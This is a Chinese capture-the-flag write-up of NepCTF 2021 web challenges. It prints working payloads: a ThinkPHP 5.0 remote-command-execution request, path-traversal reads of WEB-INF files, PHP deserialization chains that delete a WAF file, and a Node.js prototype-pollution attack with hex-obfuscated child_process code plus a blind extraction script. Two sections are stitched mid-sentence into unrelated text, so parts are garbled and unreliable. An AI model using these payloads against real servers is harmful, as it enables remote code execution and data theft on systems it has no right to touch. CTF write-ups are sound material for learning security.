NepCTF2021-Web部分(除画皮)

little_trick

打开环境发现代码是这个,太简单了,签到题

<?php     error_reporting(0);     highlight_file(__FILE__);     $nep = $_GET['nep'];     $len = $_GET['len'];     if(intval($len)<8 && strlen($nep)<13){         eval(substr($nep,0,$len));     }else{         die('too long!');     } ?>  

这里是利用php反引号执行系统命令的特性解决,有两种解法,我这里只写一个最骚的,这里需要开两次靶机

url?nep=`ls>1`;&len=7 得到 1 index.php nepctf.php 
url/?nep=`>cat`;&len=7 url/?nep=`*>1`;&len=7 这里*>1等价于cat  index.php nepctf.php> 1,linux小trick记住就好,因为linux文件系统默认从数字小写字母到大写字母升序排列 

这道题就做完了,没啥难度嘿嘿

faka_revenge

题目给了我们一个附件,下载下来发现是ThinkPHP,那直接全局搜索THINK_VERSION,发现版本是5.0.14这么低不一把嗦?

http://e266f985-936c-4e3e-a4ae-d5ab0a0d6036.node5.hackingfor.fun/?s=index/index post数据 s=whoami&_method=__construct&method=POST&filter[]=passthru 

发现system被禁用了,然后shell_exec没反应
经过本可爱的精心测试,得到passthru没被过滤
因此paylaod为

s=cat /zhangsan*&_method=__construct&method=POST&filter[]=passthru 

Easy_Tomcat

首先打开环境以后,发现登录框,根据逻辑猜测得到三个地址

admin.jsp index.jsp register.jsp 

我在注册以后发现,猜测存在任意文件读取

username=11&password=1&head_path=static/img/1.png 

经过我的测试发现head_path参数前面必须为static/img/并且最多向上穿越两层目录,可是这已经足够了,我们根据javaweb的目录结构(不懂百度),可以直接第一步去拿web.xml文件,多说一句如果可以跳三层我们甚至可以直接拿到war文件Easy_Tomcat.war或者叫ROOT.war这是啥请百度

username=11&password=1&head_path=static/img/../../WEB-INF/web.xml 

得到

<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"          version="4.0">     <servlet>         <servlet-name>LoginServlet</servlet-name>         <servlet-class>javademo.LoginServlet</servlet-class>     </servlet>     <servlet>         <servlet-name>RegisterServlet</servlet-name>         <servlet-class>javademo.RegisterServlet</servlet-class>     </servlet>     <servlet>         <servlet-name>AdminServlet</servlet-name>         <servlet-class>javademo.AdminServlet</servlet-class>     </servlet>     <servlet>         <servlet-name>InitServlet</servlet-name>         <servlet-class>javademo.InitServlet</servlet-class>         <load-on-startup>1</load-on-startup>      </servlet>     <servlet-mapping>         <servlet-name>LoginServlet</servlet-name>         <url-pattern>/LoginServlet</url-pattern>     </servlet-mapping>     <servlet-mapping>         <servlet-name>RegisterServlet</servlet-name>         <url-pattern>/RegisterServlet</url-pattern>     </servlet-mapping>     <servlet-mapping>         <servlet-name>AdminServlet</servlet-name>         <url-pattern>/AdminServlet</url-pattern>     </servlet-mapping>     <servlet-mapping>         <servlet-name>InitServlet</servlet-name>         <url-pattern>/InitServlet</url-pattern>     </servlet-mapping> </web-app> 

根据javaweb的目录结构我们可以把所有的.class文件下载下来,以及jsp文件下载下来开始审计
放两个参考payload

username=11&password=1&head_path=static/img/../../index.jsp  username=11&password=1&head_path=static/img/../../WEB-INF/classes/javademo/AdminServlet.class 

之后我在InitServlet发现了admin的密码

public class InitServlet extends HttpServlet {   public void init() throws ServletException {     List<User> list = new ArrayList<>();     User admin_user = new User();     admin_user.setUsername("admin");     admin_user.setPassword("no_one_knows_my_password_75767388428345");     list.add(admin_user);     getServletContext().setAttribute("list", list);   } }  

登陆进入admin.jsp,我之后审计了所有页面无逻辑漏洞,在AdminServlet.java当中发现

import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; 

接下来无脑试一试fastjson1.2.47漏洞,成功了,我这里不想写太多,我之前也复现了,
见https://blog.://node4.hackingfor.fun:36474/index.php?nepnep=phpinfo();&imagin=phpinfo(); ​ post HuaiNvRenPaPaPa=1

最后flag存在phpinfo内。

预期

有空做,现在忙着其他事情

梦里花开牡丹亭

首先题目一进去就给了源代码,简单的分析一下

首先是Game类,有个wakeup和destruct方法,里面有个21232f297a57a5a743894a0e4a801fc3,在线解密得到是admin

通过简单分析很容易得出应该是利用shell($content);去执行任意命令,因为waf.txt的存在只能调用file_get_contents函数,因此我们读一下shell.php的

<?php class Game{     public  $username;     public  $password;     public  $choice;     public  $register;     public  $file;     public  $filename;     public  $content;     public function __construct()     {         $this->username='admin';         $this->password='admin';         $this->filename='shell';         $this->content='phpinfo();';         $this->register = 'admin';         $this->file=new Open();     }  } class Open{  } class login{     public $file;     public $filename;     public $content;      public function __construct($file,$filename,$content)     {         $this->file=$file;         $this->filename=$filename;         $this->content=$content;     }  }  $a = new Game(); echo base64_encode(serialize($a)); 

要删除waf.txt只能想到原生类了查找能有删除功能函数,盲猜带open

<?php $classes = get_declared_classes(); foreach ($classes as $class) {     $methods = get_class_methods($class);     foreach ($methods as $method) {         if (in_array($method, array(             '__destruct',             '__wakeup',             '__call',             '__callStatic',             'open'         ))) {             print $class . '::' . $method . "n";         }     } } 

得到ZipArchive刚好符合,可以删除waf.txt

<?php class Game{     public  $username;     public  $password;     public  $choice;     public  $register;      public  $file;     public  $filename;     public  $content;      public function __construct()     {         $this->username='admin';         $this->password='admin';         $this->filename='waf.txt';         $this->content=8;         $this->register = 'admin';         $this->file=new ZipArchive();     }    } class Open{  } class login{     public $file;     public $filename;     public $content;      public function __construct($file,$filename,$content)     {         $this->file=$file;         $this->filename=$filename;         $this->content=$content;     }  }  $a = new Game(); echo base64_encode(serialize($a)); 

然后就可以执行任意命令

<?php class Game{     public  $username;     public  $password;     public  $choice;     public  $register;      public  $file;     public  $filename;     public  $content;      public function __construct()     {         $this->username='admin';         $this->password='admin';         $this->filename='shell';         $this->content='ls /';         $this->register = 'admin';         $this->file=new Open();     }    } class Open{     function open($filename, $content){         if(!file_get_contents('waf.txt')){ //            shell($content);         }else{             echo file_get_contents($filename.".php");         }     } } class login{     public $file;     public $filename;     public $content;      public function __construct($file,$filename,$content)     {         $this->file=$file;         $this->filename=$filename;         $this->content=$content;     }  }  $a = new Game(); echo base64_encode(serialize($a)); 

通过php /flag绕过过滤hhh
或者sh /flag报错.post('/record', record); app.get('/', index); app.get('/source', function (req, res)

然后我一眼看到了最上面有一个merge函数,肯定有原型污染

index页面是那个游戏,没啥好分析的

source页面更不用说了

那就只剩一个record路由了

 var score = req.body.score;  

通过post传入数据,配合原型污染用application/json格式的,既然用了json格式,那么下一行的绕过更简单了

score.length < String(highestScore).length 

因此我们传入,即可绕过了,其实也可以数组绕过,但是不好配合原型污染

{"score": xxxx, "length": 1}} 

之后看下一行,先放在一边

merge(record, { lastScore:score, maxScore:Math.max(parseInt(score),record.maxScore),lastTime: new Date().toString()}); 

再往下,猜测要执行关键函数unserialize,因此必须绕过这个if,不过我们传入的是json数据自带绕过,以为结果是NaN因此直接绕过了

if ((score - highestScore) < 0) {                 var banner = "不好,没有精神!";             } else {                 var banner = unserialize(serialize_banner).banner;             } 

我们再看unserialize函数这里有一个eval函数可以命令执行

if (validCode(func_code)){             var d = '(' + func_code + ')';             obj[key] = eval(d);           } 

再跟踪validCode函数发现只是过滤明文,这里可以十六进制绕过

var validCode = function (func_code){     let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|[|+|*/ig;     return !validInput.test(func_code); }; var validInput = function (input) {     let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;     ins = serialize(input);     return !validInput.test(ins); }; 

因此构造类似这样即可,简单分析可知需要套两层__proto__进去

{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$XXXPAYLAOD"}}, "length": 1}} 

因为没有回显,这里采用报错方式配合二分法获得flag

a = '69662870726f636573732e6d61696e4d6f64756c652e726571756972652822667322292e7265616446696c6553796e6328222f6574632f70617373776422292e746f537472696e6728295b305d3e227a22297b7d656c73657b7468726f77204572726f7228297d' res ="" for i in range(0,len(a),2):     res += "\\x"+a[i:i+2] print(res) 

因此得到

import requests import time import string import json  url = "http://467df204-a224-4b61-8ae6-48637aa91cee.node5.hackingfor.fun/record"   def deco(idx, c):     p = ''.join(['\x' + hex(ord(i))[2:] for i in                  f'if(process.mainModule.require("child_process").execSync("cat /flag").toString()[{idx}]>"{c}"){{}}else{{throw Error()}}']);     r = {"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_``.constructor.constructor(`" + p + "`)()"}},                    "length": 1}}     return r   flag = '' for i in range(0, 1000):     max = 127     min = 32     while max >= min:         # print(str(max)+"-------"+str(min))         mid = (max + min) // 2         r = requests.post(url, json=deco(i, chr(mid)))         if "broke" not in r.text:             min = mid + 1         else:             max = mid         if max == mid == min:             flag += chr(mid)             print(flag)             break         if '}' in flag[:-1]:             exit()  

版权声明:玥玥 发表于 2021-03-24 11:00:29。
转载请注明:NepCTF2021-Web部分(除画皮) | 女黑客导航